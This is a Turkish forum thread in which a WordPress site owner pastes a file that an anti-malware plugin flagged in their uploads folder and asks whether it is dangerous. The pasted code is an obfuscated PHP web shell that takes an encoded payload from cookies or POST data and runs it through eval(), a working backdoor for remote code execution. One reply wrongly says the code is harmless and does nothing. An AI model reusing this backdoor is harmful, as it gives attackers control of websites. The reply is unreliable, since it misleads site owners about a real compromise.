Tüm Araçlar
  • Tema Seçeneği
  • Site Sesleri
  • Bildirimler
  • Özel Mesaj Al
lostyazilim
tr.link

Anti-Malware eklentisi bişey buldu

 3 Mesajlar 541 Okunma
lstbozum
tr.link

#1
orknark orknark İzmir Kullanıcı
  • Üyelik 31.01.2015
  • Yaş/Cinsiyet 29 / E
  • Meslek Reklam Ajansı
  • Konum İzmir
  • Ad Soyad O** A**
  • Mesajlar 886
  • Beğeniler 66 / 151
  • Ticaret 2, (%100)
Anti-Malware from GOTMLS.NET eklentisini yükleyip siteyi tarattıgımda wp-content/uploads/2013/functions44.php kısmında tehtit buldu bi kod var php falanda değil nedir bu nasıl çözerim zararlımı değilmi anlamak için

[
CODE]kqe_ZL&S{?! =;N.h+E`Vf#5|g\x96wT2$GLOBALS[$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][12].$GLOBALS['o5343d'][39].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][2]] = $GLOBALS['o5343d'][19].$GLOBALS['o5343d'][79].$GLOBALS['o5343d'][5];
$GLOBALS[$GLOBALS['o5343d'][56].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][86].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][35]] = $GLOBALS['o5343d'][40].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][39];
$GLOBALS[$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][96]] = $GLOBALS['o5343d'][42].$GLOBALS['o5343d'][38].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][31].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][8];
$GLOBALS[$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][39]] = $GLOBALS['o5343d'][11].$GLOBALS['o5343d'][8].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][66].$GLOBALS['o5343d'][42].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][38];
$GLOBALS[$GLOBALS['o5343d'][91].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][20]] = $GLOBALS['o5343d'][42].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][31].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][55].$GLOBALS['o5343d'][65];
$GLOBALS[$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][65]] = $GLOBALS['o5343d'][59].$GLOBALS['o5343d'][79].$GLOBALS['o5343d'][59].$GLOBALS['o5343d'][52].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][42].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][40].$GLOBALS['o5343d'][8];
$GLOBALS[$GLOBALS['o5343d'][32].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][2]] = $GLOBALS['o5343d'][32].$GLOBALS['o5343d'][8].$GLOBALS['o5343d'][42].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][31].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][55].$GLOBALS['o5343d'][65];
$GLOBALS[$GLOBALS['o5343d'][33].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][39].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][19]] = $GLOBALS['o5343d'][96].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][42].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][66].$GLOBALS['o5343d'][39].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][40].$GLOBALS['o5343d'][39].$GLOBALS['o5343d'][65];
$GLOBALS[$GLOBALS['o5343d'][59].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][93].$GLOBALS['o5343d'][93].$GLOBALS['o5343d'][45]] = $GLOBALS['o5343d'][42].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][38].$GLOBALS['o5343d'][66].$GLOBALS['o5343d'][38].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][28].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][66].$GLOBALS['o5343d'][31].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][28].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][38];
$GLOBALS[$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][93].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][65]] = $GLOBALS['o5343d'][39].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][39];
$GLOBALS[$GLOBALS['o5343d'][59].$GLOBALS['o5343d'][86].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][84]] = $GLOBALS['o5343d'][19].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][12];
$GLOBALS[$GLOBALS['o5343d'][91].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][12].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][12].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][90]] = $_POST;
$GLOBALS[$GLOBALS['o5343d'][88].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][86].$GLOBALS['o5343d'][39].$GLOBALS['o5343d'][93].$GLOBALS['o5343d'][93].$GLOBALS['o5343d'][65]] = $_COOKIE;
@$GLOBALS[$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][39]]($GLOBALS['o5343d'][65].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][40].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][66].$GLOBALS['o5343d'][31].$GLOBALS['o5343d'][40].$GLOBALS['o5343d'][88], NULL);
@$GLOBALS[$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][39]]($GLOBALS['o5343d'][31].$GLOBALS['o5343d'][40].$GLOBALS['o5343d'][88].$GLOBALS['o5343d'][66].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][40].$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][42], 0);
@$GLOBALS[$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][39]]($GLOBALS['o5343d'][28].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][33].$GLOBALS['o5343d'][66].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][33].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][32].$GLOBALS['o5343d'][38].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][40].$GLOBALS['o5343d'][8].$GLOBALS['o5343d'][66].$GLOBALS['o5343d'][38].$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][28].$GLOBALS['o5343d'][65], 0);
@$GLOBALS[$GLOBALS['o5343d'][59].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][93].$GLOBALS['o5343d'][93].$GLOBALS['o5343d'][45]](0);

$ac5255d = NULL;
$eb862e = NULL;

$GLOBALS[$GLOBALS['o5343d'][63].$GLOBALS['o5343d'][39].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][35]] = $GLOBALS['o5343d'][12].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][54].$GLOBALS['o5343d'][12].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][86].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][54].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][54].$GLOBALS['o5343d'][12].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][54].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][39].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][86].$GLOBALS['o5343d'][60];
global $kd161;

function c3b9($ac5255d, $m6bae7a)
{
$hd5b = "";

for ($u06f99e5=0; $u06f99e5<$GLOBALS[$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][96]]($ac5255d);)
{
for ($aab50a7=0; $aab50a7<$GLOBALS[$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][96]]($m6bae7a) && $u06f99e5<$GLOBALS[$GLOBALS['o5343d'][11].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][96]]($ac5255d); $aab50a7++, $u06f99e5++)
{
$hd5b .= $GLOBALS[$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][12].$GLOBALS['o5343d'][39].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][2]]($GLOBALS[$GLOBALS['o5343d'][56].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][86].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][35]]($ac5255d[$u06f99e5]) ^ $GLOBALS[$GLOBALS['o5343d'][56].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][86].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][35]]($m6bae7a[$aab50a7]));
}
}

return $hd5b;
}

function d46d($ac5255d, $m6bae7a)
{
global $kd161;

return $GLOBALS[$GLOBALS['o5343d'][59].$GLOBALS['o5343d'][86].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][84]]($GLOBALS[$GLOBALS['o5343d'][59].$GLOBALS['o5343d'][86].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][84]]($ac5255d, $kd161), $m6bae7a);
}

foreach ($GLOBALS[$GLOBALS['o5343d'][88].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][86].$GLOBALS['o5343d'][39].$GLOBALS['o5343d'][93].$GLOBALS['o5343d'][93].$GLOBALS['o5343d'][65]] as $m6bae7a=>$x9f46)
{
$ac5255d = $x9f46;
$eb862e = $m6bae7a;
}

if (!$ac5255d)
{
foreach ($GLOBALS[$GLOBALS['o5343d'][91].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][12].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][12].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][90]] as $m6bae7a=>$x9f46)
{
$ac5255d = $x9f46;
$eb862e = $m6bae7a;
}
}

$ac5255d = @$GLOBALS[$GLOBALS['o5343d'][32].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][90].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][2]]($GLOBALS[$GLOBALS['o5343d'][5].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][10].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][93].$GLOBALS['o5343d'][35].$GLOBALS['o5343d'][65]]($GLOBALS[$GLOBALS['o5343d'][33].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][2].$GLOBALS['o5343d'][39].$GLOBALS['o5343d'][65].$GLOBALS['o5343d'][45].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][19]]($ac5255d), $eb862e));
if (isset($ac5255d[$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][63]]) && $kd161==$ac5255d[$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][63]])
{
if ($ac5255d[$GLOBALS['o5343d'][20]] == $GLOBALS['o5343d'][11])
{
$u06f99e5 = Array(
$GLOBALS['o5343d'][59].$GLOBALS['o5343d'][52] => @$GLOBALS[$GLOBALS['o5343d'][19].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][96].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][65]](),
$GLOBALS['o5343d'][42].$GLOBALS['o5343d'][52] => $GLOBALS['o5343d'][35].$GLOBALS['o5343d'][78].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][54].$GLOBALS['o5343d'][35],
);
echo @$GLOBALS[$GLOBALS['o5343d'][91].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][84].$GLOBALS['o5343d'][47].$GLOBALS['o5343d'][20].$GLOBALS['o5343d'][60].$GLOBALS['o5343d'][20]]($u06f99e5);
}
elseif ($ac5255d[$GLOBALS['o5343d'][20]] == $GLOBALS['o5343d'][65])
{
eval($ac5255d[$GLOBALS['o5343d'][39]]);
}
exit();
}[/CODE]
 

 

wmaraci
reklam

#2
AtakanAtes AtakanAtes 1881 - 193∞, özlemle...
  • Üyelik 05.06.2011
  • Yaş/Cinsiyet 30 / E
  • Meslek Yazılım Tek.
  • Konum Ankara
  • Ad Soyad A** A**
  • Mesajlar 2867
  • Beğeniler 54 / 747
  • Ticaret 25, (%100)
Bu kod ioncube ile şifrelenmiş php kodunun basitçe çözülmüş halidir, hiç bir işlev gerçekleştiremez veya sorun yaratamaz kaldırabilirsin.
 

 

#3
orknark orknark İzmir Kullanıcı
  • Üyelik 31.01.2015
  • Yaş/Cinsiyet 29 / E
  • Meslek Reklam Ajansı
  • Konum İzmir
  • Ad Soyad O** A**
  • Mesajlar 886
  • Beğeniler 66 / 151
  • Ticaret 2, (%100)
tamamdır zaten kaldırdım ne olur ne olmaz diye :D
 

 

Wordpress Siteme Erişilmiyor. Acil Yardım...
3 Harfli .CO Domain
wmaraci
wmaraci
Konuyu toplam 1 kişi okuyor. (0 kullanıcı ve 1 misafir)
 
Site Ayarları
  • Tema Seçeneği
  • Site Sesleri
  • Bildirimler
  • Özel Mesaj Al